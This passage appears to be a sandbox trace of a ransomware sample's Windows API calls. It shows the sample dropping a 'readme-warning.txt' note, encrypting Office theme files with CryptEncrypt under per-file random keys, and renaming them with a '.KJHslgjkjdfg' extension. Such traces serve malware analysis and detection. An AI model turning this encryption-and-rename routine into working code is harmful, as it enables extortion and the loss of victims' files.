lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0145.975] GetProcessHeap () returned 0x2a0000 [0145.975] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0145.975] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0145.975] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0145.975] GetProcessHeap () returned 0x2a0000 [0145.975] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f6af0 [0145.975] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\readme-warning.txt") returned 79 [0145.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.976] WriteFile (in: hFile=0x118, lpBuffer=0x2f6af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0145.977] CloseHandle (hObject=0x118) returned 1 [0145.978] GetProcessHeap () returned 0x2a0000 [0145.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0145.978] GetProcessHeap () returned 0x2a0000 [0145.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0145.978] GetProcessHeap () returned 0x2a0000 [0145.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0145.978] GetProcessHeap () returned 0x2a0000 [0145.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0145.978] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0145.978] GetProcessHeap () returned 0x2a0000 [0145.978] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0145.978] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0145.978] GetProcessHeap () returned 0x2a0000 [0145.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8e) returned 0x2ef2d8 [0145.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0145.980] GetProcessHeap () returned 0x2a0000 [0145.980] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0145.980] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0145.980] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0145.980] GetProcessHeap () returned 0x2a0000 [0145.980] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x290) returned 0x2f32d0 [0145.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.981] GetProcessHeap () returned 0x2a0000 [0145.981] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.981] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.981] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.981] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0145.983] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.983] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.983] GetProcessHeap () returned 0x2a0000 [0145.983] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.983] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0145.983] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.984] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0145.984] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.984] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.984] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.984] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.984] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.984] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.984] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.984] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.984] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10db7, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x10db7, lpOverlapped=0x0) returned 1 [0145.986] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x10dc0, dwBufLen=0x10dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x10dc0) returned 1 [0145.987] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.987] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10dc0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x10dc0, lpOverlapped=0x0) returned 1 [0145.988] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.988] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x10e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.988] SetEndOfFile (hFile=0x118) returned 1 [0145.991] GetProcessHeap () returned 0x2a0000 [0145.991] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0145.991] GetProcessHeap () returned 0x2a0000 [0145.991] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0145.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.kjhslgjkjdfg")) returned 1 [0145.992] CloseHandle (hObject=0x118) returned 1 [0145.992] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0145.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0145.994] GetProcessHeap () returned 0x2a0000 [0145.994] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0145.994] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0145.994] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0145.994] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xa, lpOverlapped=0x0) returned 1 [0145.996] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.996] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.996] GetProcessHeap () returned 0x2a0000 [0145.996] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0145.996] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0145.996] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.997] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0145.997] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0145.997] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0145.997] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0145.997] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0145.997] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0145.997] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0145.998] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0145.998] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.998] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x216, lpOverlapped=0x0) returned 1 [0145.998] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220, dwBufLen=0x220 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220) returned 1 [0145.998] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.998] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x220, lpOverlapped=0x0) returned 1 [0145.998] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0145.998] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.998] SetEndOfFile (hFile=0x118) returned 1 [0146.001] GetProcessHeap () returned 0x2a0000 [0146.001] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0146.001] GetProcessHeap () returned 0x2a0000 [0146.001] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.001] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf.kjhslgjkjdfg")) returned 1 [0146.009] CloseHandle (hObject=0x118) returned 1 [0146.011] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0146.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.014] GetProcessHeap () returned 0x2a0000 [0146.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.014] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.014] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.014] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0146.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.017] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.017] GetProcessHeap () returned 0x2a0000 [0146.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.017] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.017] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.017] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.017] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0146.017] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0146.017] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0146.017] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0146.017] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0146.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.018] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.018] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.018] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x885, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x885, lpOverlapped=0x0) returned 1 [0146.018] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x890, dwBufLen=0x890 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x890) returned 1 [0146.018] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.018] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x890, lpOverlapped=0x0) returned 1 [0146.018] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.018] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.018] SetEndOfFile (hFile=0x118) returned 1 [0146.021] GetProcessHeap () returned 0x2a0000 [0146.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0146.021] GetProcessHeap () returned 0x2a0000 [0146.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0146.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.kjhslgjkjdfg")) returned 1 [0146.025] CloseHandle (hObject=0x118) returned 1 [0146.025] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0146.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0146.025] GetProcessHeap () returned 0x2a0000 [0146.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0146.025] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0146.026] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0146.026] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xd, lpOverlapped=0x0) returned 1 [0146.028] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0146.028] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0146.028] GetProcessHeap () returned 0x2a0000 [0146.028] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0146.028] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0146.028] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0146.028] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0146.028] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, 